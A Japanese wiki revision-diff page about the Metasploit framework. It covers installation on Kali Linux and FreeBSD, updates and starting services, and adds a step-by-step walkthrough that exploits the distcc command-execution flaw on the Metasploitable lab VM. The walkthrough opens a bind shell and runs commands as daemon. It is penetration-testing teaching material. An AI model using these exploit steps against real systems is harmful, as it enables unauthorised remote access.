「Metasploit」の版間の差分

提供: セキュリティ
移動: 案内検索
行127: 行127:
 
msf >
 
msf >
 
</syntaxhighlight>
 
</syntaxhighlight>
 +
 +
=== distcc脆弱性 ===
 +
[[Metasploitable]]のdistccの[[脆弱性]]を利用して、乗っ取りを行います。
 +
 +
distcc を検索します。
 +
<syntaxhighlight lang="bash">
 +
msf > search distcc
 +
 +
Matching Modules
 +
================
 +
 +
  Name                          Disclosure Date  Rank      Description
 +
  ----                          ---------------  ----      -----------
 +
  exploit/unix/misc/distcc_exec  2002-02-01      excellent  DistCC Daemon Command Execution
 +
</syntaxhighlight>
 +
 +
distcc_execを選択します。
 +
<syntaxhighlight lang="bash">
 +
msf > use exploit/unix/misc/distcc_exec
 +
</syntaxhighlight>
 +
 +
利用できるペイロードを調べます。
 +
<syntaxhighlight lang="bash">
 +
msf exploit(distcc_exec) > show payloads
 +
 +
Compatible Payloads
 +
===================
 +
 +
  Name                                Disclosure Date  Rank    Description
 +
  ----                                ---------------  ----    -----------
 +
  cmd/unix/bind_perl                                  normal  Unix Command Shell, Bind TCP (via Perl)
 +
  cmd/unix/bind_perl_ipv6                              normal  Unix Command Shell, Bind TCP (via perl) IPv6
 +
  cmd/unix/bind_ruby                                  normal  Unix Command Shell, Bind TCP (via Ruby)
 +
  cmd/unix/bind_ruby_ipv6                              normal  Unix Command Shell, Bind TCP (via Ruby) IPv6
 +
  cmd/unix/generic                                    normal  Unix Command, Generic Command Execution
 +
  cmd/unix/reverse                                    normal  Unix Command Shell, Double reverse TCP (telnet)
 +
  cmd/unix/reverse_perl                                normal  Unix Command Shell, Reverse TCP (via Perl)
 +
  cmd/unix/reverse_perl_ssl                            normal  Unix Command Shell, Reverse TCP SSL (via perl)
 +
  cmd/unix/reverse_ruby                                normal  Unix Command Shell, Reverse TCP (via Ruby)
 +
  cmd/unix/reverse_ruby_ssl                            normal  Unix Command Shell, Reverse TCP SSL (via Ruby)
 +
  cmd/unix/reverse_ssl_double_telnet                  normal  Unix Command Shell, Double Reverse TCP SSL (telnet)
 +
</syntaxhighlight>
 +
 +
ペイロードにcmd/unix/bind_perlを選択します。
 +
<syntaxhighlight lang="bash">
 +
msf exploit(distcc_exec) > set PAYLOAD cmd/unix/bind_perl
 +
PAYLOAD => cmd/unix/bind_perl
 +
</syntaxhighlight>
 +
オプションを確認します。
 +
<syntaxhighlight lang="bash">
 +
msf exploit(distcc_exec) > show options
 +
 +
Module options (exploit/unix/misc/distcc_exec):
 +
 +
  Name  Current Setting  Required  Description
 +
  ----  ---------------  --------  -----------
 +
  RHOST                  yes      The target address
 +
  RPORT  3632            yes      The target port
 +
 +
 +
Payload options (cmd/unix/bind_perl):
 +
 +
  Name  Current Setting  Required  Description
 +
  ----  ---------------  --------  -----------
 +
  LPORT  4444            yes      The listen port
 +
  RHOST                  no        The target address
 +
 +
 +
Exploit target:
 +
 +
  Id  Name
 +
  --  ----
 +
  0  Automatic Target
 +
 +
</syntaxhighlight>
 +
RHOSTには、[[Metasploitable]]の[[IPアドレス]]を指定します。
 +
<syntaxhighlight lang="bash">
 +
msf exploit(distcc_exec) > set RHOST 192.168.60.129
 +
RHOST => 192.168.60.129
 +
</syntaxhighlight>
 +
exploitで[[エクスプロイト]]を実行します。
 +
<syntaxhighlight lang="bash">
 +
msf exploit(distcc_exec) > exploit
 +
 +
[*] Started bind handler
 +
[*] Command shell session 1 opened (192.168.60.128:50065 -> 192.168.60.129:4444) at 2013-11-08 22:08:53 -0500
 +
 +
</syntaxhighlight>
 +
 +
この時点で、すでにセッションを確立できています。
 +
<syntaxhighlight lang="bash">
 +
[*] Command shell session 1 opened (192.168.60.128:50065 -> 192.168.60.129:4444) at 2013-11-08 22:08:53 -0500
 +
</syntaxhighlight>
 +
 +
コマンドを入力して、エンターを押すと、コマンドが実行され、コマンドの出力が表示されます。
 +
daemonの権限を取得できていることがわかります。
 +
<syntaxhighlight lang="bash">
 +
msf exploit(distcc_exec) > exploit
 +
 +
[*] Started bind handler
 +
[*] Command shell session 1 opened (192.168.60.128:50065 -> 192.168.60.129:4444) at 2013-11-08 22:08:53 -0500
 +
 +
id
 +
uid=1(daemon) gid=1(daemon) groups=1(daemon)
 +
whoami
 +
daemon
 +
w
 +
20:57:26 up 16:27,  3 users,  load average: 0.00, 0.00, 0.00
 +
USER    TTY      FROM              LOGIN@  IDLE  JCPU  PCPU WHAT
 +
msfadmin tty1    -                04:40    3:43m  1.16s  0.27s -bash
 +
root    pts/0    :0.0            04:30  16:26  0.01s  0.01s -bash
 +
msfadmin pts/1    192.168.60.1    20:54    2:12m  0.00s  0.00s -bash
 +
uname -a
 +
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
 +
pwd
 +
/tmp
 +
 +
</syntaxhighlight>
 +
 +
== FAQ ==
 +
 +
=== Database not connected or cache not built, using slow search ===
 +
<syntaxhighlight lang="bash">
 +
msf > search distcc
 +
[!] Database not connected or cache not built, using slow search
 +
</syntaxhighlight>
 +
 +
<syntaxhighlight lang="bash">
 +
msf > db_status
 +
[*] postgresql connected to msf3
 +
</syntaxhighlight>
 +
 +
もし、接続されていない場合は、DBと[[Metasploit]]のサービスを起動します。
 +
<syntaxhighlight lang="bash">
 +
#service postgresql start
 +
#service metasploit start
 +
</syntaxhighlight>
 +
デフォルトでサービスを起動しておくには、update-rc.dで設定を変更します。
 +
<syntaxhighlight lang="bash">
 +
#update-rc.d postgresql enable
 +
#update-rc.d metasploit enable
 +
</syntaxhighlight>
 +
 +
DBに接続されたら、キャッシュを作成/再作成します。
 +
<syntaxhighlight lang="bash">
 +
msf > db_rebuild_cache
 +
[*] Purging and rebuilding the module cache in the background...
 +
</syntaxhighlight>
 +
 
== 関連項目 ==
 
== 関連項目 ==
 
* [[Armitage]]
 
* [[Armitage]]

2013年11月9日 (土) 12:20時点における版

Metasploit プロジェクトは、

  • ペネトレーションテスト
  • IDS シグネチャの開発
  • exploit の研究 をする人々に有益な情報を提供すること

をゴールとしています。

読み方

Metasploit
めたすぷろいと

概要

2003年ごろは、 Perl スクリプト言語をベースに開発されていました。2003年以降は、Ruby が使われるようになりました。Metasploit は、PostgreSQL を利用します。

Windows脆弱性をついて、シェルを取得する、といったことが比較的容易にできます。

インストール

Kali Linux

Metasploitは、デフォルトでインストールされています。 /opt/metasploit にあります。

FreeBSDにインストールする場合

ports コレクションからインストールする場合

cd /usr/ports/security/metasploit
sudo make install clean

pkgコマンドでインストールする場合

sudo pkg install metasploit

portmasterコマンドでインストールする場合

sudo portmaster -y -d /usr/ports/security/metasploit

portinstallコマンドでインストールする場合

sudo portinstall /usr/ports/security/metasploit

アップデート

Kali Linux

/opt/metasploit/app/msfupdate

FreeBSD の場合

ファイルの更新には、svn コマンドが必要です。

% cd /usr/local/share/metasploit
% sudo svn upgrade
% msfconsole

使い方

Kali Linux

PostgreSQLとMetasploitのサービスを起動します。

service postgresql start
service metasploit start
msfconsole

PostgreSQLとMetasploitをスタートアップ時に起動したい場合は、update-rc.dでサービスを有効にできます。

update-rc.d portgresql enable
update-rc.d metasploit enable

実行例

root@kali:/opt/metasploit# service postgresql start
[ ok ] Starting PostgreSQL 9.1 database server: main.
root@kali:/opt/metasploit# service metasploit start
[ ok ] Metasploit rpc server already started.
[ ok ] Metasploit web server already started.
[ ok ] Metasploit worker already started.
root@kali:/opt/metasploit# service postgresql start
[ ok ] Starting PostgreSQL 9.1 database server: main.
root@kali:/opt/metasploit# service metasploit start
[ ok ] Metasploit rpc server already started.
[ ok ] Metasploit web server already started.
[ ok ] Metasploit worker already started.
root@kali:/opt/metasploit# msfconsole
 
MMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMMM
MMMMMMMMMMM                MMMMMMMMMM
MMMN$                           vMMMM
MMMNl  MMMMM             MMMMM  JMMMM
MMMNl  MMMMMMMN       NMMMMMMM  JMMMM
MMMNl  MMMMMMMMMNmmmNMMMMMMMMM  JMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMMMMMMMMMMMMMMMMMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMMM   MMMMMMM   MMMMM  jMMMM
MMMNI  MMMNM   MMMMMMM   MMMMM  jMMMM
MMMNI  WMMMM   MMMMMMM   MMMM#  JMMMM
MMMMR  ?MMNM             MMMMM .dMMMM
MMMMNm `?MMM             MMMM` dMMMMM
MMMMMMN  ?MM             MM?  NMMMMMN
MMMMMMMMNe                 JMMMMMNMMM
MMMMMMMMMMNm,            eMMMMMNMMNMM
MMMMNNMNMMMMMNx        MMMMMMNMMNMMNM
MMMMMMMMNMMNMMMMm+..+MMNMMNMNMMNMMNMM
        http://metasploit.pro
 
 
Large pentest? List, sort, group, tag and search your hosts and services
in Metasploit Pro -- type 'go_pro' to launch it now.
 
       =[ metasploit v4.7.2-2013110601 [core:4.7 api:1.0]
+ -- --=[ 1216 exploits - 661 auxiliary - 189 post
+ -- --=[ 322 payloads - 30 encoders - 8 nops
 
msf > db_status
[*] postgresql connected to msf3

msfconsole を実行するとユニークなアスキーアートが表示されます。このデザインは、ときどき変わります。

% msfconsole
 
                 _---------.
             .' #######   ;."
  .---,.    ;@             @@`;   .---,..
." @@@@@'.,'@@            @@@@@',.'@@@@ ".
'-.@@@@@@@@@@@@@          @@@@@@@@@@@@@ @;
   `.@@@@@@@@@@@@        @@@@@@@@@@@@@@ .'
     "--'.@@@  -.@        @ ,'-   .'--"
          ".@' ; @       @ `.  ;'
            |@@@@ @@@     @    .
             ' @@@ @@   @@    ,
              `.@@@@    @@   .
                ',@@     @   ;           _____________
                 (   3 C    )     /|___ / Metasploit! \
                 ;@'. __*__,."    \|--- \_____________/
                  '(.,...."/
 
 
       =[ metasploit v4.5.0-release [core:4.5 api:1.0]
+ -- --=[ 996 exploits - 562 auxiliary - 164 post
+ -- --=[ 262 payloads - 28 encoders - 8 nops
 
msf >

distcc脆弱性

Metasploitableのdistccの脆弱性を利用して、乗っ取りを行います。

distcc を検索します。

msf > search distcc
 
Matching Modules
======UNIQ2f166ceea4b96332-h-10--QINU==========
 
   Name                           Disclosure Date  Rank       Description
   ----                           ---------------  ----       -----------
   exploit/unix/misc/distcc_exec  2002-02-01       excellent  DistCC Daemon Command Execution

distcc_execを選択します。

msf > use exploit/unix/misc/distcc_exec

利用できるペイロードを調べます。

msf exploit(distcc_exec) > show payloads
 
Compatible Payloads
======UNIQ2f166ceea4b96332-h-11--QINU=============
 
   Name                                Disclosure Date  Rank    Description
   ----                                ---------------  ----    -----------
   cmd/unix/bind_perl                                   normal  Unix Command Shell, Bind TCP (via Perl)
   cmd/unix/bind_perl_ipv6                              normal  Unix Command Shell, Bind TCP (via perl) IPv6
   cmd/unix/bind_ruby                                   normal  Unix Command Shell, Bind TCP (via Ruby)
   cmd/unix/bind_ruby_ipv6                              normal  Unix Command Shell, Bind TCP (via Ruby) IPv6
   cmd/unix/generic                                     normal  Unix Command, Generic Command Execution
   cmd/unix/reverse                                     normal  Unix Command Shell, Double reverse TCP (telnet)
   cmd/unix/reverse_perl                                normal  Unix Command Shell, Reverse TCP (via Perl)
   cmd/unix/reverse_perl_ssl                            normal  Unix Command Shell, Reverse TCP SSL (via perl)
   cmd/unix/reverse_ruby                                normal  Unix Command Shell, Reverse TCP (via Ruby)
   cmd/unix/reverse_ruby_ssl                            normal  Unix Command Shell, Reverse TCP SSL (via Ruby)
   cmd/unix/reverse_ssl_double_telnet                   normal  Unix Command Shell, Double Reverse TCP SSL (telnet)

ペイロードにcmd/unix/bind_perlを選択します。

msf exploit(distcc_exec) > set PAYLOAD cmd/unix/bind_perl
PAYLOAD => cmd/unix/bind_perl

オプションを確認します。

msf exploit(distcc_exec) > show options
 
Module options (exploit/unix/misc/distcc_exec):
 
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   RHOST                   yes       The target address
   RPORT  3632             yes       The target port
 
 
Payload options (cmd/unix/bind_perl):
 
   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LPORT  4444             yes       The listen port
   RHOST                   no        The target address
 
 
Exploit target:
 
   Id  Name
   --  ----
   0   Automatic Target

RHOSTには、MetasploitableIPアドレスを指定します。

msf exploit(distcc_exec) > set RHOST 192.168.60.129
RHOST => 192.168.60.129

exploitでエクスプロイトを実行します。

msf exploit(distcc_exec) > exploit
 
[*] Started bind handler
[*] Command shell session 1 opened (192.168.60.128:50065 -> 192.168.60.129:4444) at 2013-11-08 22:08:53 -0500

この時点で、すでにセッションを確立できています。

[*] Command shell session 1 opened (192.168.60.128:50065 -> 192.168.60.129:4444) at 2013-11-08 22:08:53 -0500

コマンドを入力して、エンターを押すと、コマンドが実行され、コマンドの出力が表示されます。 daemonの権限を取得できていることがわかります。

msf exploit(distcc_exec) > exploit
 
[*] Started bind handler
[*] Command shell session 1 opened (192.168.60.128:50065 -> 192.168.60.129:4444) at 2013-11-08 22:08:53 -0500
 
id
uid=1(daemon) gid=1(daemon) groups=1(daemon)
whoami
daemon
w
 20:57:26 up 16:27,  3 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM              LOGIN@   IDLE   JCPU   PCPU WHAT
msfadmin tty1     -                04:40    3:43m  1.16s  0.27s -bash
root     pts/0    :0.0             04:30   16:26   0.01s  0.01s -bash
msfadmin pts/1    192.168.60.1     20:54    2:12m  0.00s  0.00s -bash
uname -a
Linux metasploitable 2.6.24-16-server #1 SMP Thu Apr 10 13:58:00 UTC 2008 i686 GNU/Linux
pwd
/tmp

FAQ

Database not connected or cache not built, using slow search

msf > search distcc
[!] Database not connected or cache not built, using slow search
msf > db_status
[*] postgresql connected to msf3

もし、接続されていない場合は、DBとMetasploitのサービスを起動します。

#service postgresql start
#service metasploit start

デフォルトでサービスを起動しておくには、update-rc.dで設定を変更します。

#update-rc.d postgresql enable
#update-rc.d metasploit enable

DBに接続されたら、キャッシュを作成/再作成します。

msf > db_rebuild_cache
[*] Purging and rebuilding the module cache in the background...

関連項目